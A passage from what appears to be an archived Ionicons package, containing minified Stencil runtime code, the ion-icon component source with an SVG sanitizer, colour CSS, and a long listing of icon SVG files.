e=r.get(n);e&&(t?e[t]&&e[t]():Object.keys(e).forEach(function(n){e[n]&&e[n]()}))},Rn:function(n,e,r){return n&&n.dispatchEvent(new t.CustomEvent(e,r))},D:function(n,t){return(t=i.o(n))&&11===i.q(t)?t.host:t},kn:function(n,t){return n.attachShadow(t)}};return i}(l,r,i);t.isServer=t.isPrerender=!(t.isClient=!0),t.window=r,t.location=r.location,t.document=i,t.resourcesUrl=t.publicPath=o,l.h=s,l.Context=t;var h=r["s-defined"]=r["s-defined"]||{},y=0,m={r:v,Ln:function b(n,t){var e=n.n;r.customElements.get(e)||(g(m,f[e]=n,t.prototype,u),t.observedAttributes=Object.values(n.p).map(function(n){return n.y}).filter(function(n){return!!n}),r.customElements.define(n.n,t))},Dn:t.emit,v:function(n){return f[v.L(n)]},an:function(n){return t[n]},isClient:!0,P:function(n){return!(!h[v.L(n)]&&!m.v(n))},Mn:function(){return n+y++},ln:function(n,t,e){},Fn:function(n){return function t(n,e,r){return{create:M(n,e,r,"create"),componentOnReady:M(n,e,r,"componentOnReady")}}(v,a,n)},queue:t.queue=function w(n,t){function e(t){return function(e){t.push(e),p||(p=!0,n.raf(o))}}function r(n){for(var t=0;t0&&(l.push.apply(l,s),s.length=0),(p=a.length+s.length+l.length>0)?n.raf(o):v=0}var u=function(){return t.performance.now()},f=Promise.resolve(),c=[],a=[],s=[],l=[],v=0,p=!1;return n.raf||(n.raf=t.requestAnimationFrame.bind(t)),{tick:function(n){c.push(n),1===c.length&&f.then(function(){return r(c)})},read:e(a),write:e(s)}}(l,r),An:function j(n,t,e){if(n.on)d(m,t);else{var r=!v.e,i={mode:t.mode,scoped:r};n.Hn(i).then(function(e){try{n.on=e,function r(n,t,e,i,o){if(i){var u=t.n+(o||O);t[u]||(t[u]=i)}}(0,n,n.t,e.style,e.styleMode)}catch(t){n.on=function i(){}}d(m,t)})}},yn:!1,nn:!1,W:!1,hn:e,in:new WeakMap,u:new WeakMap,gn:new WeakMap,En:new WeakMap,Sn:new WeakMap,_:new WeakMap,un:new WeakMap,vn:new WeakMap,rn:new WeakMap,en:new WeakMap,X:new WeakMap,On:new WeakMap,qn:new WeakMap,mn:new WeakMap,fn:new WeakMap,V:new Set,wn:[]};l.onReady=function(){return new Promise(function(n){return m.queue.write(function(){return m.V.size?m.wn.push(n):n()})})},m.render=c(m,v);var k=v.i.documentElement;return k["s-ld"]=[],k["s-rn"]=!0,k["s-init"]=function(){m._.set(k,l.loaded=m.nn=!0),v.Rn(r,"appload",{detail:{namespace:n}})},function $(n,t,e,r,i,o){if(t.componentOnReady=function(t,e){if(!t.nodeName.includes("-"))return e(null),!1;var r=n.v(t);if(r)if(n._.has(t))e(t);else{var i=n.On.get(t)||[];i.push(e),n.On.set(t,i)}return!!r},i){for(o=i.length-1;o>=0;o--)t.componentOnReady(i[o][0],i[o][1])&&i.splice(o,1);for(o=0;o0){var f=i.createElement("style");f.innerHTML=u.join()+"{visibility:hidden}."+o+"{visibility:inherit}",f.setAttribute("data-styles",""),i.head.insertBefore(f,i.head.firstChild)}var c=e.namespace||"ionicons";return q||(q=!0,function a(n,t,e){(n["s-apps"]=n["s-apps"]||[]).push(t),e.componentOnReady||(e.componentOnReady=function t(){function e(t){if(r.nodeName.indexOf("-")>0){for(var e=n["s-apps"],i=0,o=0;o0&&o[o.length-1])&&(6===e[0]||2===e[0])){f=0;continue}if(3===e[0]&&(!o||e[1]>o[0]&&e[1] 0 && /(\/|\.)/.test(src)) { return src; } } return null; } export function isValid(elm) { if (elm.nodeType === 1) { if (elm.nodeName.toLowerCase() === 'script') { return false; } for (let i = 0; i < elm.attributes.length; i++) { const val = elm.attributes[i].value; if (typeof val === 'string' && val.toLowerCase().indexOf('on') === 0) { return false; } } for (let i = 0; i < elm.childNodes.length; i++) { if (!isValid(elm.childNodes[i])) { return false; } } } return true; } collection/icon/icon.js000064400000013211151701353760011123 0ustar00import { getName, getSrc, isValid } from './utils'; export class Icon { constructor() { this.isVisible = false; this.lazy = false; } componentWillLoad() { this.waitUntilVisible(this.el, '50px', () => { this.isVisible = true; this.loadIcon(); }); } componentDidUnload() { if (this.io) { this.io.disconnect(); this.io = undefined; } } waitUntilVisible(el, rootMargin, cb) { if (this.lazy && this.win && this.win.IntersectionObserver) { const io = this.io = new this.win.IntersectionObserver((data) => { if (data[0].isIntersecting) { io.disconnect(); this.io = undefined; cb(); } }, { rootMargin }); io.observe(el); } else { cb(); } } loadIcon() { if (!this.isServer && this.isVisible) { const url = this.getUrl(); if (url) { getSvgContent(this.doc, url, 's-ion-icon') .then(svgContent => this.svgContent = svgContent); } } if (!this.ariaLabel) { const name = getName(this.name, this.mode, this.ios, this.md); if (name) { this.ariaLabel = name .replace('ios-', '') .replace('md-', '') .replace(/\-/g, ' '); } } } getUrl() { let url = getSrc(this.src); if (url) { return url; } url = getName(this.name, this.mode, this.ios, this.md); if (url) { return this.getNamedUrl(url); } url = getSrc(this.icon); if (url) { return url; } url = getName(this.icon, this.mode, this.ios, this.md); if (url) { return this.getNamedUrl(url); } return null; } getNamedUrl(name) { return `${this.resourcesUrl}svg/${name}.svg`; } hostData() { return { 'role': 'img', class: Object.assign({}, createColorClasses(this.color), { [`icon-${this.size}`]: !!this.size }) }; } render() { if (!this.isServer && this.svgContent) { return h("div", { class: "icon-inner", innerHTML: this.svgContent }); } return h("div", { class: "icon-inner" }); } static get is() { return "ion-icon"; } static get encapsulation() { return "shadow"; } static get properties() { return { "ariaLabel": { "type": String, "attr": "aria-label", "reflectToAttr": true, "mutable": true }, "color": { "type": String, "attr": "color" }, "doc": { "context": "document" }, "el": { "elementRef": true }, "icon": { "type": String, "attr": "icon", "watchCallbacks": ["loadIcon"] }, "ios": { "type": String, "attr": "ios" }, "isServer": { "context": "isServer" }, "isVisible": { "state": true }, "lazy": { "type": Boolean, "attr": "lazy" }, "md": { "type": String, "attr": "md" }, "mode": { "type": String, "attr": "mode" }, "name": { "type": String, "attr": "name", "watchCallbacks": ["loadIcon"] }, "resourcesUrl": { "context": "resourcesUrl" }, "size": { "type": String, "attr": "size" }, "src": { "type": String, "attr": "src", "watchCallbacks": ["loadIcon"] }, "svgContent": { "state": true }, "win": { "context": "window" } }; } static get style() { return "/**style-placeholder:ion-icon:**/"; } } const requests = new Map(); function getSvgContent(doc, url, scopedId) { let req = requests.get(url); if (!req) { req = fetch(url, { cache: 'force-cache' }).then(rsp => { if (rsp.ok) { return rsp.text(); } return Promise.resolve(null); }).then(svgContent => validateContent(doc, svgContent, scopedId)); requests.set(url, req); } return req; } function validateContent(document, svgContent, scopeId) { if (svgContent) { const frag = document.createDocumentFragment(); const div = document.createElement('div'); div.innerHTML = svgContent; frag.appendChild(div); for (let i = div.childNodes.length - 1; i >= 0; i--) { if (div.childNodes[i].nodeName.toLowerCase() !== 'svg') { div.removeChild(div.childNodes[i]); } } const svgElm = div.firstElementChild; if (svgElm && svgElm.nodeName.toLowerCase() === 'svg') { if (scopeId) { svgElm.setAttribute('class', scopeId); } if (isValid(svgElm)) { return div.innerHTML; } } } return ''; } function createColorClasses(color) { return (color) ? { 'ion-color': true, [`ion-color-${color}`]: true } : null; } collection/icon/icon.css000064400000002523151701353760011303 0ustar00:host { display: inline-block; width: 1em; height: 1em; contain: strict; box-sizing: content-box !important; } :host(.ion-color) { color: var(--ion-color-base) !important; } :host(.icon-small) { font-size: var(--ion-icon-size-small, 18px) !important; } :host(.icon-large){ font-size: var(--ion-icon-size-large, 32px) !important; } .icon-inner, svg { display: block; fill: currentColor; stroke: currentColor; height: 100%; width: 100%; } /* Set iOS Icon Colors */ /* ------------------- */ :host(.ion-color-primary) { --ion-color-base: var(--ion-color-primary, #3880ff); } :host(.ion-color-secondary) { --ion-color-base: var(--ion-color-secondary, #0cd1e8); } :host(.ion-color-tertiary) { --ion-color-base: var(--ion-color-tertiary, #f4a942); } :host(.ion-color-success) { --ion-color-base: var(--ion-color-success, #10dc60); } :host(.ion-color-warning) { --ion-color-base: var(--ion-color-warning, #ffce00); } :host(.ion-color-danger) { --ion-color-base: var(--ion-color-danger, #f14141); } :host(.ion-color-light) { --ion-color-base: var(--ion-color-light, #f4f5f8); } :host(.ion-color-medium) { --ion-color-base: var(--ion-color-medium, #989aa2); } :host(.ion-color-dark) { --ion-color-base: var(--ion-color-dark, #222428); } collection/icon/svg/ios-alert.svg000064400000000613151701353760013056 0ustar00collection/icon/svg/ios-archive.svg000064400000000615151701353760013372 0ustar00collection/icon/svg/md-refresh.svg000064400000000560151701353760013214 0ustar00collection/icon/svg/md-brush.svg000064400000000500151701353760012673 0ustar00collection/icon/svg/logo-game-controller-a.svg000064400000001560151701353760015427 0ustar00collection/icon/svg/md-umbrella.svg000064400000001161151701353760013357 0ustar00collection/icon/svg/md-hourglass.svg000064400000000435151701353760013566 0ustar00collection/icon/svg/md-flashlight.svg000064400000000401151701353760013675 0ustar00collection/icon/svg/md-attach.svg000064400000001100151701353760013011 0ustar00collection/icon/svg/md-search.svg000064400000001004151701353760013015 0ustar00collection/icon/svg/md-thermometer.svg000064400000000434151701353760014111 0ustar00collection/icon/svg/ios-attach.svg000064400000001500151701353760013207 0ustar00collection/icon/svg/ios-time.svg000064400000000416151701353760012706 0ustar00collection/icon/svg/ios-flag.svg000064400000000717151701353760012665 0ustar00collection/icon/svg/ios-log-in.svg000064400000001201151701353760013126 0ustar00collection/icon/svg/ios-remove-circle-outline.svg000064400000000660151701353760016162 0ustar00collection/icon/svg/md-contacts.svg000064400000002062151701353760013373 0ustar00collection/icon/svg/md-baseball.svg000064400000003114151701353760013321 0ustar00collection/icon/svg/md-shirt.svg000064400000000264151701353760012710 0ustar00collection/icon/svg/ios-beaker.svg000064400000000634151701353760013203 0ustar00collection/icon/svg/md-business.svg000064400000000743151701353760013414 0ustar00collection/icon/svg/ios-analytics.svg000064400000001066151701353760013741 0ustar00collection/icon/svg/logo-playstation.svg000064400000002422151701353760014464 0ustar00collection/icon/svg/ios-bicycle.svg000064400000002125151701353760013361 0ustar00collection/icon/svg/md-heart-half.svg000064400000000675151701353760013600 0ustar00collection/icon/svg/md-play-circle.svg000064400000000314151701353760013757 0ustar00collection/icon/svg/ios-cut.svg000064400000002504151701353760012543 0ustar00collection/icon/svg/md-arrow-dropleft.svg000064400000000151151701353760014521 0ustar00collection/icon/svg/ios-pie.svg000064400000000624151701353760012526 0ustar00collection/icon/svg/md-time.svg000064400000000567151701353760012523 0ustar00collection/icon/svg/md-exit.svg000064400000000650151701353760012527 0ustar00collection/icon/svg/ios-thermometer.svg000064400000000752151701353760014306 0ustar00collection/icon/svg/logo-closed-captioning.svg000064400000002554151701353760015525 0ustar00collection/icon/svg/logo-github.svg000064400000001545151701353760013404 0ustar00collection/icon/svg/md-stopwatch.svg000064400000001152151701353760013570 0ustar00collection/icon/svg/md-git-merge.svg000064400000001262151701353760013436 0ustar00collection/icon/svg/md-stats.svg000064400000000235151701353760012713 0ustar00collection/icon/svg/ios-photos.svg000064400000000475151701353760013271 0ustar00collection/icon/svg/ios-flashlight.svg000064400000000723151701353760014076 0ustar00collection/icon/svg/md-bicycle.svg000064400000001724151701353760013173 0ustar00collection/icon/svg/ios-wifi.svg000064400000001351151701353760012705 0ustar00collection/icon/svg/md-card.svg000064400000000404151701353760012464 0ustar00collection/icon/svg/md-thumbs-down.svg000064400000000475151701353760014032 0ustar00collection/icon/svg/ios-hand.svg000064400000001146151701353760012663 0ustar00collection/icon/svg/ios-hammer.svg000064400000002042151701353760013216 0ustar00collection/icon/svg/ios-apps.svg000064400000001255151701353760012715 0ustar00collection/icon/svg/md-camera.svg000064400000000543151701353760013007 0ustar00collection/icon/svg/ios-backspace.svg000064400000001072151701353760013663 0ustar00collection/icon/svg/md-pizza.svg000064400000001351151701353760012712 0ustar00collection/icon/svg/md-volume-high.svg000064400000000607151701353760014004 0ustar00collection/icon/svg/ios-tablet-portrait.svg000064400000000733151701353760015067 0ustar00collection/icon/svg/md-battery-dead.svg000064400000000404151701353760014120 0ustar00collection/icon/svg/logo-reddit.svg000064400000002735151701353760013377 0ustar00collection/icon/svg/md-add-circle.svg000064400000000340151701353760013541 0ustar00collection/icon/svg/md-cloudy-night.svg000064400000001400151701353760014156 0ustar00collection/icon/svg/md-create.svg000064400000000423151701353760013017 0ustar00collection/icon/svg/ios-egg.svg000064400000000265151701353760012514 0ustar00collection/icon/svg/md-information.svg000064400000000167151701353760014106 0ustar00collection/icon/svg/md-finger-print.svg000064400000004154151701353760014165 0ustar00collection/icon/svg/md-male.svg000064400000000504151701353760012472 0ustar00collection/icon/svg/md-thumbs-up.svg000064400000000471151701353760013503 0ustar00collection/icon/svg/ios-notifications-off.svg000064400000001230151701353760015364 0ustar00collection/icon/svg/ios-train.svg000064400000001374151701353760013071 0ustar00collection/icon/svg/logo-freebsd-devil.svg000064400000002264151701353760014634 0ustar00collection/icon/svg/md-add-circle-outline.svg000064400000000666151701353760015231 0ustar00collection/icon/svg/md-grid.svg000064400000000777151701353760012515 0ustar00collection/icon/svg/ios-airplane.svg000064400000001211151701353760013535 0ustar00collection/icon/svg/ios-basket.svg000064400000001211151701353760013213 0ustar00collection/icon/svg/ios-medical.svg000064400000001237151701353760013350 0ustar00collection/icon/svg/ios-notifications.svg000064400000000663151701353760014625 0ustar00collection/icon/svg/md-sad.svg000064400000001235151701353760012325 0ustar00collection/icon/svg/ios-cellular.svg000064400000002677151701353760013566 0ustar00collection/icon/svg/md-at.svg000064400000002353151701353760012164 0ustar00collection/icon/svg/md-crop.svg000064400000000363151701353760012522 0ustar00collection/icon/svg/md-hand.svg000064400000001726151701353760012475 0ustar00collection/icon/svg/md-code-working.svg000064400000000444151701353760014147 0ustar00collection/icon/svg/md-desktop.svg000064400000000514151701353760013226 0ustar00collection/icon/svg/ios-sync.svg000064400000002577151701353760012736 0ustar00collection/icon/svg/ios-help-circle.svg000064400000001000151701353760014125 0ustar00collection/icon/svg/md-construct.svg000064400000001462151701353760013604 0ustar00collection/icon/svg/ios-woman.svg000064400000001305151701353760013067 0ustar00collection/icon/svg/md-paper.svg000064400000001273151701353760012667 0ustar00collection/icon/svg/ios-cloud-outline.svg000064400000001450151701353760014532 0ustar00collection/icon/svg/ios-alarm.svg000064400000001701151701353760013042 0ustar00collection/icon/svg/logo-buffer.svg000064400000001543151701353760013371 0ustar00collection/icon/svg/logo-javascript.svg000064400000001355151701353760014267 0ustar00collection/icon/svg/ios-swap.svg000064400000001052151701353760012717 0ustar00collection/icon/svg/md-copy.svg000064400000001015151701353760012524 0ustar00collection/icon/svg/ios-contract.svg000064400000002121151701353760013560 0ustar00collection/icon/svg/md-car.svg000064400000001143151701353760012321 0ustar00collection/icon/svg/ios-arrow-dropright.svg000064400000001077151701353760015106 0ustar00collection/icon/svg/ios-list-box.svg000064400000001471151701353760013513 0ustar00collection/icon/svg/md-arrow-round-down.svg000064400000000506151701353760015002 0ustar00collection/icon/svg/md-rainy.svg000064400000001347151701353760012704 0ustar00collection/icon/svg/ios-funnel.svg000064400000000511151701353760013233 0ustar00collection/icon/svg/md-information-circle-outline.svg000064400000000642151701353760017020 0ustar00collection/icon/svg/ios-body.svg000064400000001106151701353760012702 0ustar00collection/icon/svg/ios-subway.svg000064400000001503151701353760013260 0ustar00collection/icon/svg/ios-bus.svg000064400000001625151701353760012544 0ustar00collection/icon/svg/md-albums.svg000064400000000573151701353760013045 0ustar00collection/icon/svg/ios-radio-button-off.svg000064400000000520151701353760015123 0ustar00collection/icon/svg/md-tablet-landscape.svg000064400000000462151701353760014762 0ustar00collection/icon/svg/ios-images.svg000064400000002065151701353760013217 0ustar00collection/icon/svg/md-medkit.svg000064400000000452151701353760013033 0ustar00collection/icon/svg/md-remove.svg000064400000000142151701353760013047 0ustar00collection/icon/svg/ios-code.svg000064400000001222151701353760012656 0ustar00collection/icon/svg/md-fastforward.svg000064400000000214151701353760014074 0ustar00collection/icon/svg/ios-paper-plane.svg000064400000000661151701353760014156 0ustar00collection/icon/svg/logo-steam.svg000064400000001736151701353760013235 0ustar00collection/icon/svg/ios-moon.svg000064400000000644151701353760012723 0ustar00collection/icon/svg/md-color-palette.svg000064400000001361151701353760014330 0ustar00collection/icon/svg/ios-folder-open.svg000064400000000611151701353760014157 0ustar00collection/icon/svg/md-cog.svg000064400000002314151701353760012325 0ustar00collection/icon/svg/md-apps.svg000064400000000420151701353760012514 0ustar00collection/icon/svg/md-star-outline.svg000064400000000765151701353760014213 0ustar00collection/icon/svg/md-warning.svg000064400000000224151701353760013220 0ustar00collection/icon/svg/md-bowtie.svg000064400000000774151701353760013056 0ustar00collection/icon/svg/md-jet.svg000064400000000513151701353760012336 0ustar00collection/icon/svg/md-female.svg000064400000000444151701353760013010 0ustar00collection/icon/svg/ios-trophy.svg000064400000001616151701353760013300 0ustar00collection/icon/svg/md-megaphone.svg000064400000000751151701353760013523 0ustar00collection/icon/svg/ios-chatboxes.svg000064400000000701151701353760013725 0ustar00collection/icon/svg/md-cut.svg000064400000001361151701353760012351 0ustar00collection/icon/svg/ios-pizza.svg000064400000001576151701353760013115 0ustar00collection/icon/svg/logo-vk.svg000064400000002057151701353760012541 0ustar00collection/icon/svg/ios-magnet.svg000064400000001104151701353760013216 0ustar00collection/icon/svg/ios-crop.svg000064400000001015151701353760012707 0ustar00collection/icon/svg/logo-nodejs.svg000064400000003205151701353760013377 0ustar00collection/icon/svg/ios-arrow-down.svg000064400000000370151701353760014046 0ustar00collection/icon/svg/md-nutrition.svg000064400000000574151701353760013616 0ustar00collection/icon/svg/ios-bulb.svg000064400000001471151701353760012676 0ustar00collection/icon/svg/md-fitness.svg000064400000000561151701353760013232 0ustar00collection/icon/svg/ios-pin.svg000064400000000424151701353760012535 0ustar00collection/icon/svg/md-images.svg000064400000001341151701353760013021 0ustar00collection/icon/svg/logo-linkedin.svg000064400000001013151701353760013705 0ustar00collection/icon/svg/md-color-filter.svg000064400000000466151701353760014164 0ustar00collection/icon/svg/md-arrow-dropdown-circle.svg000064400000000306151701353760015777 0ustar00collection/icon/svg/md-switch.svg000064400000001245151701353760013060 0ustar00collection/icon/svg/md-volume-low.svg000064400000000334151701353760013663 0ustar00collection/icon/svg/ios-outlet.svg000064400000001215151701353760013262 0ustar00collection/icon/svg/md-trending-up.svg000064400000000277151701353760014017 0ustar00collection/icon/svg/md-cloud-done.svg000064400000000610151701353760013603 0ustar00collection/icon/svg/md-arrow-dropright-circle.svg000064400000000306151701353760016145 0ustar00collection/icon/svg/ios-tv.svg000064400000001052151701353760012376 0ustar00collection/icon/svg/md-skip-forward.svg000064400000000176151701353760014171 0ustar00collection/icon/svg/md-battery-full.svg000064400000000351151701353760014166 0ustar00collection/icon/svg/md-paper-plane.svg000064400000000327151701353760013763 0ustar00collection/icon/svg/md-help-circle-outline.svg000064400000001053151701353760015420 0ustar00collection/icon/svg/ios-square.svg000064400000000276151701353760013254 0ustar00collection/icon/svg/ios-text.svg000064400000000477151701353760012743 0ustar00collection/icon/svg/ios-ribbon.svg000064400000001422151701353760013221 0ustar00collection/icon/svg/md-cash.svg000064400000000544151701353760012476 0ustar00collection/icon/svg/md-more.svg000064400000000505151701353760012517 0ustar00collection/icon/svg/logo-snapchat.svg000064400000004336151701353760013724 0ustar00collection/icon/svg/md-gift.svg000064400000001235151701353760012507 0ustar00collection/icon/svg/ios-aperture.svg000064400000002011151701353760013570 0ustar00collection/icon/svg/ios-paper.svg000064400000001114151701353760013053 0ustar00collection/icon/svg/ios-arrow-dropright-circle.svg000064400000000533151701353760016341 0ustar00collection/icon/svg/ios-fastforward.svg000064400000000414151701353760014270 0ustar00collection/icon/svg/md-checkbox.svg000064400000000536151701353760013347 0ustar00collection/icon/svg/logo-dropbox.svg000064400000000466151701353760013600 0ustar00collection/icon/svg/logo-xbox.svg000064400000001347151701353760013102 0ustar00collection/icon/svg/ios-medkit.svg000064400000000726151701353760013231 0ustar00collection/icon/svg/logo-flickr.svg000064400000000515151701353760013370 0ustar00collection/icon/svg/md-american-football.svg000064400000000655151701353760015142 0ustar00collection/icon/svg/ios-car.svg000064400000001311151701353760012510 0ustar00collection/icon/svg/ios-print.svg000064400000001005151701353760013077 0ustar00collection/icon/svg/md-arrow-forward.svg000064400000000263151701353760014352 0ustar00collection/icon/svg/ios-radio.svg000064400000003425151701353760013051 0ustar00collection/icon/svg/md-star.svg000064400000000321151701353760012522 0ustar00collection/icon/svg/md-unlock.svg000064400000000644151701353760013054 0ustar00collection/icon/svg/logo-model-s.svg000064400000004114151701353760013455 0ustar00collection/icon/svg/ios-key.svg000064400000001240151701353760012534 0ustar00collection/icon/svg/md-backspace.svg000064400000000540151701353760013470 0ustar00collection/icon/svg/ios-cube.svg000064400000000767151701353760012677 0ustar00collection/icon/svg/ios-copy.svg000064400000000731151701353760012722 0ustar00collection/icon/svg/ios-battery-dead.svg000064400000000514151701353760014314 0ustar00collection/icon/svg/ios-leaf.svg000064400000000671151701353760012662 0ustar00collection/icon/svg/ios-snow.svg000064400000004126151701353760012740 0ustar00collection/icon/svg/md-watch.svg000064400000000570151701353760012665 0ustar00collection/icon/svg/ios-send.svg000064400000000514151701353760012700 0ustar00collection/icon/svg/ios-play-circle.svg000064400000000412151701353760014150 0ustar00collection/icon/svg/ios-options.svg000064400000001161151701353760013441 0ustar00collection/icon/svg/md-heart-empty.svg000064400000001156151701353760014017 0ustar00collection/icon/svg/ios-baseball.svg000064400000006470151701353760013523 0ustar00collection/icon/svg/md-journal.svg000064400000000517151701353760013232 0ustar00collection/icon/svg/ios-people.svg000064400000002506151701353760013236 0ustar00collection/icon/svg/ios-list.svg000064400000000664151701353760012730 0ustar00collection/icon/svg/md-thunderstorm.svg000064400000000640151701353760014313 0ustar00collection/icon/svg/md-volume-mute.svg000064400000000205151701353760014031 0ustar00collection/icon/svg/ios-reverse-camera.svg000064400000002274151701353760014655 0ustar00collection/icon/svg/ios-help.svg000064400000000645151701353760012704 0ustar00collection/icon/svg/md-flash.svg000064400000000172151701353760012652 0ustar00collection/icon/svg/ios-bookmarks.svg000064400000001025151701353760013735 0ustar00collection/icon/svg/ios-basketball.svg000064400000002403151701353760014052 0ustar00collection/icon/svg/md-nuclear.svg000064400000000551151701353760013207 0ustar00collection/icon/svg/md-pie.svg000064400000000520151701353760012327 0ustar00collection/icon/svg/md-walk.svg000064400000000643151701353760012516 0ustar00collection/icon/svg/md-contact.svg000064400000000565151701353760013216 0ustar00collection/icon/svg/md-calendar.svg000064400000000453151701353760013330 0ustar00collection/icon/svg/ios-heart-dislike.svg000064400000001005151701353760014470 0ustar00collection/icon/svg/md-shuffle.svg000064400000000371151701353760013212 0ustar00collection/icon/svg/logo-bitbucket.svg000064400000000506151701353760014072 0ustar00collection/icon/svg/md-podium.svg000064400000000215151701353760013050 0ustar00collection/icon/svg/ios-close-circle.svg000064400000000762151701353760014320 0ustar00collection/icon/svg/md-ice-cream.svg000064400000000627151701353760013407 0ustar00collection/icon/svg/ios-restaurant.svg000064400000001035151701353760014136 0ustar00collection/icon/svg/ios-color-wand.svg000064400000002346151701353760014021 0ustar00collection/icon/svg/ios-cloud-done.svg000064400000001063151701353760014000 0ustar00collection/icon/svg/ios-arrow-dropdown-circle.svg000064400000000542151701353760016173 0ustar00collection/icon/svg/md-funnel.svg000064400000000251151701353760013042 0ustar00collection/icon/svg/md-code.svg000064400000000320151701353760012462 0ustar00collection/icon/svg/ios-pricetag.svg000064400000000607151701353760013550 0ustar00collection/icon/svg/ios-folder.svg000064400000000617151701353760013226 0ustar00collection/icon/svg/ios-done-all.svg000064400000001157151701353760013446 0ustar00collection/icon/svg/md-magnet.svg000064400000001464151701353760013035 0ustar00collection/icon/svg/ios-watch.svg000064400000003632151701353760013061 0ustar00collection/icon/svg/ios-cloudy.svg000064400000000457151701353760013254 0ustar00collection/icon/svg/ios-timer.svg000064400000001074151701353760013071 0ustar00collection/icon/svg/md-timer.svg000064400000001231151701353760012672 0ustar00collection/icon/svg/logo-apple.svg000064400000001037151701353760013217 0ustar00collection/icon/svg/ios-close-circle-outline.svg000064400000001172151701353760015771 0ustar00collection/icon/svg/logo-wordpress.svg000064400000002236151701353760014150 0ustar00collection/icon/svg/ios-heart-half.svg000064400000001034151701353760013760 0ustar00collection/icon/svg/ios-close.svg000064400000000636151701353760013061 0ustar00collection/icon/svg/md-cloudy.svg000064400000000643151701353760013057 0ustar00collection/icon/svg/md-help.svg000064400000000357151701353760012512 0ustar00collection/icon/svg/md-arrow-round-back.svg000064400000000504151701353760014731 0ustar00collection/icon/svg/ios-cloud-upload.svg000064400000001062151701353760014336 0ustar00collection/icon/svg/ios-mic-off.svg000064400000001375151701353760013275 0ustar00collection/icon/svg/ios-play.svg000064400000000301151701353760012706 0ustar00collection/icon/svg/md-headset.svg000064400000000434151701353760013173 0ustar00collection/icon/svg/ios-move.svg000064400000001537151701353760012723 0ustar00collection/icon/svg/logo-yahoo.svg000064400000000414151701353760013233 0ustar00collection/icon/svg/ios-stopwatch.svg000064400000001316151701353760013764 0ustar00collection/icon/svg/md-cloud-outline.svg000064400000000723151701353760014342 0ustar00collection/icon/svg/logo-octocat.svg000064400000002760151701353760013556 0ustar00collection/icon/svg/ios-pause.svg000064400000000446151701353760013070 0ustar00collection/icon/svg/ios-bookmark.svg000064400000000340151701353760013551 0ustar00collection/icon/svg/ios-resize.svg000064400000000651151701353760013252 0ustar00collection/icon/svg/md-pin.svg000064400000000505151701353760012343 0ustar00collection/icon/svg/md-infinite.svg000064400000001433151701353760013363 0ustar00collection/icon/svg/logo-xing.svg000064400000000476151701353760013071 0ustar00collection/icon/svg/md-cube.svg000064400000001305151701353760012472 0ustar00collection/icon/svg/md-cellular.svg000064400000000146151701353760013361 0ustar00collection/icon/svg/md-wifi.svg000064400000001614151701353760012515 0ustar00collection/icon/svg/md-arrow-up.svg000064400000000263151701353760013332 0ustar00collection/icon/svg/md-build.svg000064400000000475151701353760012662 0ustar00collection/icon/svg/ios-camera.svg000064400000001133151701353760013175 0ustar00collection/icon/svg/ios-mail.svg000064400000001253151701353760012672 0ustar00collection/icon/svg/ios-information-circle.svg000064400000000442151701353760015533 0ustar00collection/icon/svg/logo-pinterest.svg000064400000001406151701353760014133 0ustar00collection/icon/svg/ios-arrow-round-forward.svg000064400000000520151701353760015665 0ustar00collection/icon/svg/md-bug.svg000064400000000713151701353760012333 0ustar00collection/icon/svg/md-redo.svg000064400000000372151701353760012510 0ustar00collection/icon/svg/ios-speedometer.svg000064400000001762151701353760014271 0ustar00collection/icon/svg/md-resize.svg000064400000000247151701353760013061 0ustar00collection/icon/svg/md-code-download.svg000064400000000450151701353760014273 0ustar00collection/icon/svg/md-sunny.svg000064400000000737151701353760012740 0ustar00collection/icon/svg/md-git-compare.svg000064400000001264151701353760013767 0ustar00collection/icon/svg/ios-gift.svg000064400000001147151701353760012703 0ustar00collection/icon/svg/ios-navigate.svg000064400000000304151701353760013542 0ustar00collection/icon/svg/md-locate.svg000064400000001154151701353760013025 0ustar00collection/icon/svg/md-document.svg000064400000000323151701353760013371 0ustar00collection/icon/svg/md-radio-button-off.svg000064400000000453151701353760014736 0ustar00collection/icon/svg/logo-foursquare.svg000064400000001643151701353760014315 0ustar00collection/icon/svg/md-expand.svg000064400000000346151701353760013037 0ustar00collection/icon/svg/md-checkmark-circle-outline.svg000064400000000613151701353760016421 0ustar00collection/icon/svg/ios-notifications-outline.svg000064400000001721151701353760016276 0ustar00collection/icon/svg/ios-rose.svg000064400000001257151701353760012724 0ustar00collection/icon/svg/md-body.svg000064400000000321151701353760012506 0ustar00collection/icon/svg/logo-whatsapp.svg000064400000002130151701353760013740 0ustar00collection/icon/svg/logo-chrome.svg000064400000002553151701353760013377 0ustar00collection/icon/svg/ios-add.svg000064400000000512151701353760012475 0ustar00collection/icon/svg/ios-musical-notes.svg000064400000001167151701353760014537 0ustar00collection/icon/svg/logo-dribbble.svg000064400000001754151701353760013671 0ustar00collection/icon/svg/ios-volume-high.svg000064400000002025151701353760014172 0ustar00collection/icon/svg/ios-at.svg000064400000001311151701353760012347 0ustar00collection/icon/svg/ios-eye-off.svg000064400000001727151701353760013310 0ustar00collection/icon/svg/md-keypad.svg000064400000002111151701353760013025 0ustar00collection/icon/svg/ios-share.svg000064400000000666151701353760013061 0ustar00collection/icon/svg/md-trash.svg000064400000000360151701353760012675 0ustar00collection/icon/svg/md-color-wand.svg000064400000000507151701353760013624 0ustar00collection/icon/svg/ios-bonfire.svg000064400000002507151701353760013377 0ustar00collection/icon/svg/md-football.svg000064400000001201151701353760013351 0ustar00collection/icon/svg/ios-male.svg000064400000001517151701353760012671 0ustar00collection/icon/svg/ios-star-outline.svg000064400000001510151701353760014372 0ustar00collection/icon/svg/md-briefcase.svg000064400000000365151701353760013504 0ustar00collection/icon/svg/ios-cash.svg000064400000001463151701353760012671 0ustar00collection/icon/svg/ios-checkmark-circle-outline.svg000064400000001127151701353760016614 0ustar00collection/icon/svg/md-disc.svg000064400000000541151701353760012477 0ustar00collection/icon/svg/ios-log-out.svg000064400000001211151701353760013330 0ustar00collection/icon/svg/ios-clipboard.svg000064400000001757151701353760013720 0ustar00collection/icon/svg/md-flask.svg000064400000000431151701353760012653 0ustar00collection/icon/svg/index.js000064400000000131151701353760012076 0ustar00 require.context('!!file-loader?name=[name].[ext]&outputPath=svg!./', false, /.svg$/); collection/icon/svg/ios-nuclear.svg000064400000001225151701353760013400 0ustar00collection/icon/svg/ios-remove.svg000064400000000311151701353760013237 0ustar00collection/icon/svg/ios-share-alt.svg000064400000000553151701353760013632 0ustar00collection/icon/svg/md-train.svg000064400000000733151701353760012675 0ustar00collection/icon/svg/ios-walk.svg000064400000001531151701353760012705 